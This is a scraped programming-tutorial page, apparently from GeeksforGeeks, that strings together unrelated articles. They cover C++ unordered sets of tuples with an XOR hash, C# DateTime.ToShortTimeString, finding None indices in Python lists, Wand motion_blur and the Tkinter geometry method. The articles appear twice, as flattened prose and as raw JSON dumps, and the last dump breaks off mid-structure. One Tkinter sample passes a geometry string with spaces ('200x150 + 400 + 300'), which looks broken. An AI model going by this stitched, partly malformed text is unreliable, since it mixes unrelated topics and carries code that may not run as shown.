unordered_set<tuple<dataType1, dataType2, dataType3>, hashFunction> unorderedSetOfTuples; Here, dataType1, dataType2, dataType3 are similar or dissimilar data types hashFunction: struct hashFunction{ size_t operator()(const tuple<int , int , int>&x) const { return get<0>(x) ^ get<1>(x) ^ get<2>(x); }}; Example 1: Below is the implementation using an unordered set of tuples. C++ // C++ program to illustrate the// implementation of unorderedSet of// tuples#include <bits/stdc++.h>using namespace std; // Hash functionstruct hashFunction{ size_t operator()(const tuple<int , int , int>&x) const { return get<0>(x) ^ get<1>(x) ^ get<2>(x); }}; // Function to print unordered set elementsvoid print(unordered_set<tuple<int, int, int>, hashFunction > &unorderedSetOfTuples){ // Iterating over unorderedSetOfTuples elements for (auto currentTuple : unorderedSetOfTuples) { // Each element is a tuple itself tuple<int, int, int> tp = currentTuple; cout << "[ "; // Printing tuple elements cout << get<0>(tp) << " , " << get<1>(tp) << " , " << get<2>(tp) ; cout << " ]"; cout << "\n"; } } // Driver codeint main(){ // Declaring a unordered set of tuples unordered_set<tuple<int, int, int>, hashFunction > unorderedSetOfTuples; // Initializing tuples of int type tuple<int, int, int> tuple1; tuple1 = make_tuple(4, 2, 3); tuple<int, int, int> tuple2; tuple2 = make_tuple(2, 3, 5); tuple<int, int, int> tuple3; tuple3 = make_tuple(2, 3, 5); tuple<int, int, int> tuple4; tuple4 = make_tuple(2, 1, 4); tuple<int, int, int> tuple5; tuple5 = make_tuple(4, 2, 3); // Inserting into unordered set unorderedSetOfTuples.insert(tuple1); unorderedSetOfTuples.insert(tuple2); unorderedSetOfTuples.insert(tuple3); unorderedSetOfTuples.insert(tuple4); unorderedSetOfTuples.insert(tuple5); // Calling print function print(unorderedSetOfTuples); return 0;} Output: [ 2 , 1 , 4 ][ 4 , 2 , 3 ][ 2 , 3 , 5 ] Explanation: In the above output, elements or tuples are not arranged in any particular order. Example 2: Below is the implementation using an unordered set of tuples. C++ // C++ program to illustrate the// implementation of unordered set of// tuples#include <bits/stdc++.h>using namespace std; // Hash functionstruct hashFunction{ size_t operator()(const tuple<bool, bool, bool>&x) const { return get<0>(x) ^ std::get<1>(x) ^ std::get<2>(x); }}; // Function to print unorderedSet elementsvoid print(unordered_set<tuple<bool, bool, bool>, hashFunction > &unorderedSetOfTuples){ // Iterating over unorderedSetOfTuples elements for (auto currentTuple : unorderedSetOfTuples) { // Each element is a tuple itself of // bool type tuple<bool, bool, bool> tp = currentTuple; cout << "[ "; // Printing tuple elements cout << get<0>(tp) << " , " << get<1>(tp) << " , " << get<2>(tp) ; cout << " ]"; cout << "\n"; } } // Driver codeint main(){ // Declaring a unordered set of tuples unordered_set<tuple<bool, bool, bool>, hashFunction > unorderedSetOfTuples; // Initializing tuples of bool type tuple<bool, bool, bool> tuple1; tuple1 = make_tuple(0, 1, 1); tuple<bool, bool, bool> tuple2; tuple2 = make_tuple(1, 1, 1); tuple<bool, bool, bool> tuple3; tuple3 = make_tuple(0, 1, 1); tuple<bool, bool, bool> tuple4; tuple4 = make_tuple(0, 0, 0); tuple<bool, bool, bool> tuple5; tuple5 = make_tuple(1, 1, 0); tuple<bool, bool, bool> tuple6; tuple6 = make_tuple(0, 1, 1); // Inserting into the unordered set unorderedSetOfTuples.insert(tuple1); unorderedSetOfTuples.insert(tuple2); unorderedSetOfTuples.insert(tuple3); unorderedSetOfTuples.insert(tuple4); unorderedSetOfTuples.insert(tuple5); unorderedSetOfTuples.insert(tuple6); // Calling print function print(unorderedSetOfTuples); return 0;} Output: [ 1 , 1 , 0 ][ 0 , 0 , 0 ][ 0 , 1 , 1 ][ 1 , 1 , 1 ] Explanation: In the above output also, elements are not arranged in any particular order. This confirms that in an unordered set keys are hashed into the indices of the hash table in a randomized manner. Also, tuple3 and tuple6 have the same set of boolean values, that is why only one copy of the tuple is present in the set. cpp-tuple cpp-unordered_set C++ CPP Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Operator Overloading in C++ Polymorphism in C++ Sorting a vector in C++ Friend class and function in C++ Pair in C++ Standard Template Library (STL) std::string class in C++ Queue in C++ Standard Template Library (STL) Inline Functions in C++ Array of Strings in C++ (5 Different Ways to Create) Convert string to char array in C++
[ { "code": null, "e": 25343, "s": 25315, "text": "\n19 Dec, 2021" }, { "code": null, "e": 25360, "s": 25343, "text": "What is a tuple?" }, { "code": null, "e": 25593, "s": 25360, "text": "A tuple in C++ is an object which is used to group elements together. In a tuple, elements can be of the same data type or different data types. The elements of tuples are initialized as in the order in which they will be accessed. " }, { "code": null, "e": 25628, "s": 25593, "text": "Functions associated with a tuple:" }, { "code": null, "e": 25925, "s": 25628, "text": "1. make_tuple(): make_tuple() is used to assign tuple with values. The values passed should be in order with the values declared in the tuple.2. get(): get() is used to access the tuple values and modify them, it accepts the index and tuple name as arguments to access a particular tuple element." }, { "code": null, "e": 25951, "s": 25925, "text": "What is an unordered set?" }, { "code": null, "e": 26485, "s": 25951, "text": "An unordered set is an unordered associative container that is similar to a set but in the case of an unordered set, elements are not arranged in any particular order. Like a set, an unordered set also contains unique elements. An unordered set is implemented using a hash table internally and keys are hashed into indices of the hash table. Insertion in an unordered set is always unpredictable or randomized. Most operations in an unordered set take constant time O(1) but in the worst case, the time complexity may go up to O(n). " }, { "code": null, "e": 26532, "s": 26485, "text": "Functions associated with the unordered set: " }, { "code": null, "e": 26600, "s": 26532, "text": "insert(x):Inserts a new element ‘x’ in the unordered set container." }, { "code": null, "e": 26691, "s": 26600, "text": "begin(): Returns an iterator pointing to the first element in the unordered_set container." }, { "code": null, "e": 26780, "s": 26691, "text": "end(): Returns an iterator pointing to the hypothetical element next to the end element." }, { "code": null, "e": 26879, "s": 26780, "text": "count(): Counts the number of times a particular element is present in an unordered_set container." }, { "code": null, "e": 26980, "s": 26879, "text": "erase(): Remove either a single element or a range of elements ranging from start to end(exclusive)." }, { "code": null, "e": 27050, "s": 26980, "text": "size(): Return the number of elements in the unordered_set container." }, { "code": null, "e": 27107, "s": 27050, "text": "swap(): Exchange values of two unordered_set containers." }, { "code": null, "e": 27196, "s": 27107, "text": "max_size(): Returns maximum number of elements that an unordered_set container can hold." }, { "code": null, "e": 27258, "s": 27196, "text": "empty(): Check if an unordered_set container is empty or not." }, { "code": null, "e": 27363, "s": 27258, "text": "An unordered set of tuples can be quite useful whenever an algorithm requires a complex data structure. " }, { "code": null, "e": 27573, "s": 27363, "text": "This article focuses on how to create an unordered set of tuples in C++. Note that for simplicity we are taking a tuple of three elements into consideration but a tuple can contain more or fewer elements also." }, { "code": null, "e": 27597, "s": 27573, "text": "Unordered set of tuples" }, { "code": null, "e": 27917, "s": 27597, "text": "An unordered set of tuples is an unordered set in which each of the elements is a tuple. Note that by default an unordered set doesn’t have the functionality of tuples. In simple words, one cannot declare an unordered set of tuples directly in C++. One have to pass a Hash function as an argument to the unordered set. " }, { "code": null, "e": 27925, "s": 27917, "text": "Syntax:" }, { "code": null, "e": 28015, "s": 27925, "text": "unordered_set<tuple<dataType1, dataType2, dataType3>, hashFunction> unorderedSetOfTuples;" }, { "code": null, "e": 28021, "s": 28015, "text": "Here," }, { "code": null, "e": 28090, "s": 28021, "text": "dataType1, dataType2, dataType3 are similar or dissimilar data types" }, { "code": null, "e": 28104, "s": 28090, "text": "hashFunction:" }, { "code": null, "e": 28242, "s": 28104, "text": "struct hashFunction{ size_t operator()(const tuple<int , int , int>&x) const { return get<0>(x) ^ get<1>(x) ^ get<2>(x); }};" }, { "code": null, "e": 28315, "s": 28242, "text": "Example 1: Below is the implementation using an unordered set of tuples." }, { "code": null, "e": 28319, "s": 28315, "text": "C++" }, { "code": "// C++ program to illustrate the// implementation of unorderedSet of// tuples#include <bits/stdc++.h>using namespace std; // Hash functionstruct hashFunction{ size_t operator()(const tuple<int , int , int>&x) const { return get<0>(x) ^ get<1>(x) ^ get<2>(x); }}; // Function to print unordered set elementsvoid print(unordered_set<tuple<int, int, int>, hashFunction > &unorderedSetOfTuples){ // Iterating over unorderedSetOfTuples elements for (auto currentTuple : unorderedSetOfTuples) { // Each element is a tuple itself tuple<int, int, int> tp = currentTuple; cout << \"[ \"; // Printing tuple elements cout << get<0>(tp) << \" , \" << get<1>(tp) << \" , \" << get<2>(tp) ; cout << \" ]\"; cout << \"\\n\"; } } // Driver codeint main(){ // Declaring a unordered set of tuples unordered_set<tuple<int, int, int>, hashFunction > unorderedSetOfTuples; // Initializing tuples of int type tuple<int, int, int> tuple1; tuple1 = make_tuple(4, 2, 3); tuple<int, int, int> tuple2; tuple2 = make_tuple(2, 3, 5); tuple<int, int, int> tuple3; tuple3 = make_tuple(2, 3, 5); tuple<int, int, int> tuple4; tuple4 = make_tuple(2, 1, 4); tuple<int, int, int> tuple5; tuple5 = make_tuple(4, 2, 3); // Inserting into unordered set unorderedSetOfTuples.insert(tuple1); unorderedSetOfTuples.insert(tuple2); unorderedSetOfTuples.insert(tuple3); unorderedSetOfTuples.insert(tuple4); unorderedSetOfTuples.insert(tuple5); // Calling print function print(unorderedSetOfTuples); return 0;}", "e": 29929, "s": 28319, "text": null }, { "code": null, "e": 29937, "s": 29929, "text": "Output:" }, { "code": null, "e": 29977, "s": 29937, "text": "[ 2 , 1 , 4 ][ 4 , 2 , 3 ][ 2 , 3 , 5 ]" }, { "code": null, "e": 29990, "s": 29977, "text": "Explanation:" }, { "code": null, "e": 30072, "s": 29990, "text": "In the above output, elements or tuples are not arranged in any particular order." }, { "code": null, "e": 30145, "s": 30072, "text": "Example 2: Below is the implementation using an unordered set of tuples." }, { "code": null, "e": 30149, "s": 30145, "text": "C++" }, { "code": "// C++ program to illustrate the// implementation of unordered set of// tuples#include <bits/stdc++.h>using namespace std; // Hash functionstruct hashFunction{ size_t operator()(const tuple<bool, bool, bool>&x) const { return get<0>(x) ^ std::get<1>(x) ^ std::get<2>(x); }}; // Function to print unorderedSet elementsvoid print(unordered_set<tuple<bool, bool, bool>, hashFunction > &unorderedSetOfTuples){ // Iterating over unorderedSetOfTuples elements for (auto currentTuple : unorderedSetOfTuples) { // Each element is a tuple itself of // bool type tuple<bool, bool, bool> tp = currentTuple; cout << \"[ \"; // Printing tuple elements cout << get<0>(tp) << \" , \" << get<1>(tp) << \" , \" << get<2>(tp) ; cout << \" ]\"; cout << \"\\n\"; } } // Driver codeint main(){ // Declaring a unordered set of tuples unordered_set<tuple<bool, bool, bool>, hashFunction > unorderedSetOfTuples; // Initializing tuples of bool type tuple<bool, bool, bool> tuple1; tuple1 = make_tuple(0, 1, 1); tuple<bool, bool, bool> tuple2; tuple2 = make_tuple(1, 1, 1); tuple<bool, bool, bool> tuple3; tuple3 = make_tuple(0, 1, 1); tuple<bool, bool, bool> tuple4; tuple4 = make_tuple(0, 0, 0); tuple<bool, bool, bool> tuple5; tuple5 = make_tuple(1, 1, 0); tuple<bool, bool, bool> tuple6; tuple6 = make_tuple(0, 1, 1); // Inserting into the unordered set unorderedSetOfTuples.insert(tuple1); unorderedSetOfTuples.insert(tuple2); unorderedSetOfTuples.insert(tuple3); unorderedSetOfTuples.insert(tuple4); unorderedSetOfTuples.insert(tuple5); unorderedSetOfTuples.insert(tuple6); // Calling print function print(unorderedSetOfTuples); return 0;}", "e": 31940, "s": 30149, "text": null }, { "code": null, "e": 31948, "s": 31940, "text": "Output:" }, { "code": null, "e": 32001, "s": 31948, "text": "[ 1 , 1 , 0 ][ 0 , 0 , 0 ][ 0 , 1 , 1 ][ 1 , 1 , 1 ]" }, { "code": null, "e": 32014, "s": 32001, "text": "Explanation:" }, { "code": null, "e": 32329, "s": 32014, "text": "In the above output also, elements are not arranged in any particular order. This confirms that in an unordered set keys are hashed into the indices of the hash table in a randomized manner. Also, tuple3 and tuple6 have the same set of boolean values, that is why only one copy of the tuple is present in the set. " }, { "code": null, "e": 32339, "s": 32329, "text": "cpp-tuple" }, { "code": null, "e": 32357, "s": 32339, "text": "cpp-unordered_set" }, { "code": null, "e": 32361, "s": 32357, "text": "C++" }, { "code": null, "e": 32365, "s": 32361, "text": "CPP" }, { "code": null, "e": 32463, "s": 32365, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 32491, "s": 32463, "text": "Operator Overloading in C++" }, { "code": null, "e": 32511, "s": 32491, "text": "Polymorphism in C++" }, { "code": null, "e": 32535, "s": 32511, "text": "Sorting a vector in C++" }, { "code": null, "e": 32568, "s": 32535, "text": "Friend class and function in C++" }, { "code": null, "e": 32612, "s": 32568, "text": "Pair in C++ Standard Template Library (STL)" }, { "code": null, "e": 32637, "s": 32612, "text": "std::string class in C++" }, { "code": null, "e": 32682, "s": 32637, "text": "Queue in C++ Standard Template Library (STL)" }, { "code": null, "e": 32706, "s": 32682, "text": "Inline Functions in C++" }, { "code": null, "e": 32759, "s": 32706, "text": "Array of Strings in C++ (5 Different Ways to Create)" } ]
DateTime.ToShortTimeString() Method in C# - GeeksforGeeks
30 Jan, 2019 This method is used to convert the value of the current DateTime object to its equivalent short time string representation. Syntax: public string ToShortTimeString (); Return Value: This method returns a string that contains the short time string representation of the current DateTime object. Below programs illustrate the use of DateTime.ToShortTimeString() Method: Example 1: // C# program to demonstrate the// DateTime.ToShortTimeString()// Methodusing System;using System.Globalization; class GFG { // Main Method public static void Main() { try { // creating object of DateTime DateTime date = new DateTime(2010, 1, 1, 4, 0, 15); // getting ShortTime from DateTime // using ToShortTimeString() method; string value = date.ToShortTimeString(); // Display the ShortTime Console.WriteLine("ShortTime is {0}", value); } catch (FormatException e) { Console.Write("Exception Thrown: "); Console.Write("{0}", e.GetType(), e.Message); } }} ShortTime is 04:00 Example 2: // C# program to demonstrate the// DateTime.ToShortTimeString()// Methodusing System;using System.Globalization; class GFG { // Main Method public static void Main() { // calling check() method check(new DateTime(2010, 1, 3, 4, 0, 15)); check(new DateTime(2010, 1, 5, 4, 0, 15)); } public static void check(DateTime date) { // getting ShortTime from DateTime // using ToShortTimeString() method; string value = date.ToShortTimeString(); // Display the ShortTime Console.WriteLine("ShortTime of {0}"+ " is {1}", date, value); }} ShortTime of 01/03/2010 04:00:15 is 04:00 ShortTime of 01/05/2010 04:00:15 is 04:00 Reference: https://docs.microsoft.com/en-us/dotnet/api/system.datetime.toshorttimestring?view=netframework-4.7.2 CSharp DateTime Struct CSharp-method C# Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Extension Method in C# HashSet in C# with Examples C# | Inheritance Partial Classes in C# C# | Generics - Introduction Top 50 C# Interview Questions & Answers C# | How to insert an element in an Array? Switch Statement in C# Convert String to Character Array in C# Linked List Implementation in C#
[ { "code": null, "e": 25547, "s": 25519, "text": "\n30 Jan, 2019" }, { "code": null, "e": 25671, "s": 25547, "text": "This method is used to convert the value of the current DateTime object to its equivalent short time string representation." }, { "code": null, "e": 25715, "s": 25671, "text": "Syntax: public string ToShortTimeString ();" }, { "code": null, "e": 25841, "s": 25715, "text": "Return Value: This method returns a string that contains the short time string representation of the current DateTime object." }, { "code": null, "e": 25915, "s": 25841, "text": "Below programs illustrate the use of DateTime.ToShortTimeString() Method:" }, { "code": null, "e": 25926, "s": 25915, "text": "Example 1:" }, { "code": "// C# program to demonstrate the// DateTime.ToShortTimeString()// Methodusing System;using System.Globalization; class GFG { // Main Method public static void Main() { try { // creating object of DateTime DateTime date = new DateTime(2010, 1, 1, 4, 0, 15); // getting ShortTime from DateTime // using ToShortTimeString() method; string value = date.ToShortTimeString(); // Display the ShortTime Console.WriteLine(\"ShortTime is {0}\", value); } catch (FormatException e) { Console.Write(\"Exception Thrown: \"); Console.Write(\"{0}\", e.GetType(), e.Message); } }}", "e": 26683, "s": 25926, "text": null }, { "code": null, "e": 26703, "s": 26683, "text": "ShortTime is 04:00\n" }, { "code": null, "e": 26714, "s": 26703, "text": "Example 2:" }, { "code": "// C# program to demonstrate the// DateTime.ToShortTimeString()// Methodusing System;using System.Globalization; class GFG { // Main Method public static void Main() { // calling check() method check(new DateTime(2010, 1, 3, 4, 0, 15)); check(new DateTime(2010, 1, 5, 4, 0, 15)); } public static void check(DateTime date) { // getting ShortTime from DateTime // using ToShortTimeString() method; string value = date.ToShortTimeString(); // Display the ShortTime Console.WriteLine(\"ShortTime of {0}\"+ \" is {1}\", date, value); }}", "e": 27390, "s": 26714, "text": null }, { "code": null, "e": 27475, "s": 27390, "text": "ShortTime of 01/03/2010 04:00:15 is 04:00\nShortTime of 01/05/2010 04:00:15 is 04:00\n" }, { "code": null, "e": 27486, "s": 27475, "text": "Reference:" }, { "code": null, "e": 27588, "s": 27486, "text": "https://docs.microsoft.com/en-us/dotnet/api/system.datetime.toshorttimestring?view=netframework-4.7.2" }, { "code": null, "e": 27611, "s": 27588, "text": "CSharp DateTime Struct" }, { "code": null, "e": 27625, "s": 27611, "text": "CSharp-method" }, { "code": null, "e": 27628, "s": 27625, "text": "C#" }, { "code": null, "e": 27726, "s": 27628, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 27749, "s": 27726, "text": "Extension Method in C#" }, { "code": null, "e": 27777, "s": 27749, "text": "HashSet in C# with Examples" }, { "code": null, "e": 27794, "s": 27777, "text": "C# | Inheritance" }, { "code": null, "e": 27816, "s": 27794, "text": "Partial Classes in C#" }, { "code": null, "e": 27845, "s": 27816, "text": "C# | Generics - Introduction" }, { "code": null, "e": 27885, "s": 27845, "text": "Top 50 C# Interview Questions & Answers" }, { "code": null, "e": 27928, "s": 27885, "text": "C# | How to insert an element in an Array?" }, { "code": null, "e": 27951, "s": 27928, "text": "Switch Statement in C#" }, { "code": null, "e": 27991, "s": 27951, "text": "Convert String to Character Array in C#" } ]
Python | Find indices with None values in given list - GeeksforGeeks
27 Mar, 2019 Many times while working in data science domain we need to get the list of all the indices which are None, so that they can be easily be prepossessed. This is quite a popular problem and solution to it comes quite handy. Let’s discuss certain ways in which this can be done. Method #1 : Using list comprehension + range()In this method we just check for each index using the range function and store the index if we find that index is None. # Python3 code to demonstrate# finding None indices in list # using list comprehension + enumerate # initializing list test_list = [1, None, 4, None, None, 5] # printing original listprint("The original list : " + str(test_list)) # using list comprehension + enumerate# finding None indices in list res = [i for i in range(len(test_list)) if test_list[i] == None] # print resultprint("The None indices list is : " + str(res)) The original list : [1, None, 4, None, None, 5] The None indices list is : [1, 3, 4] Method #2 : Using list comprehension + enumerate()The enumerate function can be used to iterate together the key and value pair and list comprehension can be used to bind all this logic in one line. # Python3 code to demonstrate# finding None indices in list # using list comprehension + enumerate # initializing list test_list = [1, None, 4, None, None, 5] # printing original listprint("The original list : " + str(test_list)) # using list comprehension + enumerate# finding None indices in list res = [i for i, val in enumerate(test_list) if val == None] # print resultprint("The None indices list is : " + str(res)) The original list : [1, None, 4, None, None, 5] The None indices list is : [1, 3, 4] Python list-programs Python Python Programs Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. How to Install PIP on Windows ? Check if element exists in list in Python How To Convert Python Dictionary To JSON? Python Classes and Objects How to drop one or multiple columns in Pandas Dataframe Defaultdict in Python Python | Get dictionary keys as a list Python | Split string into list of characters Python | Convert a list to dictionary How to print without newline in Python?
[ { "code": null, "e": 25537, "s": 25509, "text": "\n27 Mar, 2019" }, { "code": null, "e": 25812, "s": 25537, "text": "Many times while working in data science domain we need to get the list of all the indices which are None, so that they can be easily be prepossessed. This is quite a popular problem and solution to it comes quite handy. Let’s discuss certain ways in which this can be done." }, { "code": null, "e": 25978, "s": 25812, "text": "Method #1 : Using list comprehension + range()In this method we just check for each index using the range function and store the index if we find that index is None." }, { "code": "# Python3 code to demonstrate# finding None indices in list # using list comprehension + enumerate # initializing list test_list = [1, None, 4, None, None, 5] # printing original listprint(\"The original list : \" + str(test_list)) # using list comprehension + enumerate# finding None indices in list res = [i for i in range(len(test_list)) if test_list[i] == None] # print resultprint(\"The None indices list is : \" + str(res))", "e": 26408, "s": 25978, "text": null }, { "code": null, "e": 26494, "s": 26408, "text": "The original list : [1, None, 4, None, None, 5]\nThe None indices list is : [1, 3, 4]\n" }, { "code": null, "e": 26695, "s": 26496, "text": "Method #2 : Using list comprehension + enumerate()The enumerate function can be used to iterate together the key and value pair and list comprehension can be used to bind all this logic in one line." }, { "code": "# Python3 code to demonstrate# finding None indices in list # using list comprehension + enumerate # initializing list test_list = [1, None, 4, None, None, 5] # printing original listprint(\"The original list : \" + str(test_list)) # using list comprehension + enumerate# finding None indices in list res = [i for i, val in enumerate(test_list) if val == None] # print resultprint(\"The None indices list is : \" + str(res))", "e": 27120, "s": 26695, "text": null }, { "code": null, "e": 27206, "s": 27120, "text": "The original list : [1, None, 4, None, None, 5]\nThe None indices list is : [1, 3, 4]\n" }, { "code": null, "e": 27227, "s": 27206, "text": "Python list-programs" }, { "code": null, "e": 27234, "s": 27227, "text": "Python" }, { "code": null, "e": 27250, "s": 27234, "text": "Python Programs" }, { "code": null, "e": 27348, "s": 27250, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 27380, "s": 27348, "text": "How to Install PIP on Windows ?" }, { "code": null, "e": 27422, "s": 27380, "text": "Check if element exists in list in Python" }, { "code": null, "e": 27464, "s": 27422, "text": "How To Convert Python Dictionary To JSON?" }, { "code": null, "e": 27491, "s": 27464, "text": "Python Classes and Objects" }, { "code": null, "e": 27547, "s": 27491, "text": "How to drop one or multiple columns in Pandas Dataframe" }, { "code": null, "e": 27569, "s": 27547, "text": "Defaultdict in Python" }, { "code": null, "e": 27608, "s": 27569, "text": "Python | Get dictionary keys as a list" }, { "code": null, "e": 27654, "s": 27608, "text": "Python | Split string into list of characters" }, { "code": null, "e": 27692, "s": 27654, "text": "Python | Convert a list to dictionary" } ]
Python - motion_blur() in Wand - GeeksforGeeks
18 Oct, 2021 Another kind of blur we can perform in Wand is Motion Blur. In this kind a Gaussia blur is performed in a single linear direction and it appears like image is moving in a linear direction. It takes a new angle parameter. Syntax : Python3 wand.image.motion_blur(radius= radius_value, sigma= sigma_value, angle= angle_value, channel = "optional_channel_value")# radius should always be greater than sigma(standard deviation) Parameter : Image Used : Example 1: Python3 # import display() to show final imagefrom wand.display import display# import Image from wand.image modulefrom wand.image import Image # read file using Image functionwith Image(filename ="koala.jpeg") as img: # perform adaptive blur effect using adaptive_blur() function img.motion_blur(radius = 16, sigma = 8, angle = 90) # save final image img.save(filename ="mb_koala.jpeg") # display final image display(img) Output : Example 2: increase radius, sigma and changed angle to 45. Python3 # import display() to show final imagefrom wand.display import display# import Image from wand.image modulefrom wand.image import Image # read file using Image functionwith Image(filename ="koala.jpeg") as img: # perform adaptive blur effect using adaptive_blur() function img.motion_blur(radius = 22, sigma = 10, angle = 45) # save final image img.save(filename ="gb_koala.jpeg") # display final image display(img) Output : gabaa406 Python-wand Python Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. How to Install PIP on Windows ? Check if element exists in list in Python How To Convert Python Dictionary To JSON? How to drop one or multiple columns in Pandas Dataframe Python Classes and Objects Python | Get unique values from a list Python | os.path.join() method Create a directory in Python Defaultdict in Python Python | Pandas dataframe.groupby()
[ { "code": null, "e": 25537, "s": 25509, "text": "\n18 Oct, 2021" }, { "code": null, "e": 25759, "s": 25537, "text": "Another kind of blur we can perform in Wand is Motion Blur. In this kind a Gaussia blur is performed in a single linear direction and it appears like image is moving in a linear direction. It takes a new angle parameter. " }, { "code": null, "e": 25770, "s": 25759, "text": "Syntax : " }, { "code": null, "e": 25778, "s": 25770, "text": "Python3" }, { "code": "wand.image.motion_blur(radius= radius_value, sigma= sigma_value, angle= angle_value, channel = \"optional_channel_value\")# radius should always be greater than sigma(standard deviation)", "e": 25975, "s": 25778, "text": null }, { "code": null, "e": 25987, "s": 25975, "text": "Parameter :" }, { "code": null, "e": 26004, "s": 25989, "text": "Image Used : " }, { "code": null, "e": 26017, "s": 26004, "text": "Example 1: " }, { "code": null, "e": 26025, "s": 26017, "text": "Python3" }, { "code": "# import display() to show final imagefrom wand.display import display# import Image from wand.image modulefrom wand.image import Image # read file using Image functionwith Image(filename =\"koala.jpeg\") as img: # perform adaptive blur effect using adaptive_blur() function img.motion_blur(radius = 16, sigma = 8, angle = 90) # save final image img.save(filename =\"mb_koala.jpeg\") # display final image display(img)", "e": 26461, "s": 26025, "text": null }, { "code": null, "e": 26472, "s": 26461, "text": "Output : " }, { "code": null, "e": 26533, "s": 26472, "text": "Example 2: increase radius, sigma and changed angle to 45. " }, { "code": null, "e": 26541, "s": 26533, "text": "Python3" }, { "code": "# import display() to show final imagefrom wand.display import display# import Image from wand.image modulefrom wand.image import Image # read file using Image functionwith Image(filename =\"koala.jpeg\") as img: # perform adaptive blur effect using adaptive_blur() function img.motion_blur(radius = 22, sigma = 10, angle = 45) # save final image img.save(filename =\"gb_koala.jpeg\") # display final image display(img)", "e": 26978, "s": 26541, "text": null }, { "code": null, "e": 26989, "s": 26978, "text": "Output : " }, { "code": null, "e": 27000, "s": 26991, "text": "gabaa406" }, { "code": null, "e": 27012, "s": 27000, "text": "Python-wand" }, { "code": null, "e": 27019, "s": 27012, "text": "Python" }, { "code": null, "e": 27117, "s": 27019, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 27149, "s": 27117, "text": "How to Install PIP on Windows ?" }, { "code": null, "e": 27191, "s": 27149, "text": "Check if element exists in list in Python" }, { "code": null, "e": 27233, "s": 27191, "text": "How To Convert Python Dictionary To JSON?" }, { "code": null, "e": 27289, "s": 27233, "text": "How to drop one or multiple columns in Pandas Dataframe" }, { "code": null, "e": 27316, "s": 27289, "text": "Python Classes and Objects" }, { "code": null, "e": 27355, "s": 27316, "text": "Python | Get unique values from a list" }, { "code": null, "e": 27386, "s": 27355, "text": "Python | os.path.join() method" }, { "code": null, "e": 27415, "s": 27386, "text": "Create a directory in Python" }, { "code": null, "e": 27437, "s": 27415, "text": "Defaultdict in Python" } ]
Python | geometry method in Tkinter - GeeksforGeeks
29 Nov, 2021 Tkinter is a Python module that is used to develop GUI (Graphical User Interface) applications. It comes along with Python, so you do not have to install it using the pip command. Tkinter provides many methods; one of them is the geometry() method. This method is used to set the dimensions of the Tkinter window and is used to set the position of the main window on the user’s desktop. Code #1: Tkinter window without using geometry method. Python3 # importing only those functions which are neededfrom tkinter import Tk, mainloop, TOPfrom tkinter.ttk import Button # creating tkinter windowroot = Tk() # Create Button and add some textbutton = Button(root, text = 'Geeks')# pady is used for giving some padding in y directionbutton.pack(side = TOP, pady = 5) # Execute Tkinterroot.mainloop() Output: As soon as you run the application, you’ll see the position of the Tkinter window is at the north-west position of the screen and the size of the window is also small as shown in the output. Code #2: Python3 # importing only those functions which# are neededfrom tkinter import Tk, mainloop, TOPfrom tkinter.ttk import Button # creating tkinter windowroot = Tk() # creating fixed geometry of the# tkinter window with dimensions 150x200root.geometry('200x150') # Create Button and add some textbutton = Button(root, text = 'Geeks')button.pack(side = TOP, pady = 5) # Execute Tkinterroot.mainloop() Output: After running the application, you’ll see that the size of the Tkinter window is changed, but the position on the screen is same. Code #3: Python3 # importing only those functions which# are neededfrom tkinter import Tk, mainloop, TOPfrom tkinter.ttk import Button # creating tkinter windowroot = Tk() # creating fixed geometry of the# tkinter window with dimensions 150x200root.geometry('200x150 + 400 + 300') # Create Button and add some textbutton = Button(root, text = 'Geeks')button.pack(side = TOP, pady = 5) # Execute Tkinterroot.mainloop() Output: When you run the application, you’ll observe that the position and size both are changed. Now the Tkinter window is appearing at a different position (300 shifted on Y-axis and 400 shifted on X-axis).Note: We can also pass a variable argument in the geometry method, but it should be in the form (variable1) x (variable2); otherwise, it will raise an error. abergquist abhigoya Python-gui Python-tkinter Python Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Python Dictionary How to Install PIP on Windows ? Different ways to create Pandas Dataframe Python String | replace() *args and **kwargs in Python Reading and Writing to text files in Python Create a Pandas DataFrame from Lists Convert integer to string in Python Check if element exists in list in Python sum() function in Python
[ { "code": null, "e": 25645, "s": 25617, "text": "\n29 Nov, 2021" }, { "code": null, "e": 25825, "s": 25645, "text": "Tkinter is a Python module that is used to develop GUI (Graphical User Interface) applications. It comes along with Python, so you do not have to install it using the pip command." }, { "code": null, "e": 26032, "s": 25825, "text": "Tkinter provides many methods; one of them is the geometry() method. This method is used to set the dimensions of the Tkinter window and is used to set the position of the main window on the user’s desktop." }, { "code": null, "e": 26089, "s": 26032, "text": "Code #1: Tkinter window without using geometry method. " }, { "code": null, "e": 26097, "s": 26089, "text": "Python3" }, { "code": "# importing only those functions which are neededfrom tkinter import Tk, mainloop, TOPfrom tkinter.ttk import Button # creating tkinter windowroot = Tk() # Create Button and add some textbutton = Button(root, text = 'Geeks')# pady is used for giving some padding in y directionbutton.pack(side = TOP, pady = 5) # Execute Tkinterroot.mainloop()", "e": 26444, "s": 26097, "text": null }, { "code": null, "e": 26454, "s": 26444, "text": "Output: " }, { "code": null, "e": 26658, "s": 26454, "text": "As soon as you run the application, you’ll see the position of the Tkinter window is at the north-west position of the screen and the size of the window is also small as shown in the output. Code #2: " }, { "code": null, "e": 26666, "s": 26658, "text": "Python3" }, { "code": "# importing only those functions which# are neededfrom tkinter import Tk, mainloop, TOPfrom tkinter.ttk import Button # creating tkinter windowroot = Tk() # creating fixed geometry of the# tkinter window with dimensions 150x200root.geometry('200x150') # Create Button and add some textbutton = Button(root, text = 'Geeks')button.pack(side = TOP, pady = 5) # Execute Tkinterroot.mainloop()", "e": 27059, "s": 26666, "text": null }, { "code": null, "e": 27069, "s": 27059, "text": "Output: " }, { "code": null, "e": 27212, "s": 27069, "text": "After running the application, you’ll see that the size of the Tkinter window is changed, but the position on the screen is same. Code #3: " }, { "code": null, "e": 27220, "s": 27212, "text": "Python3" }, 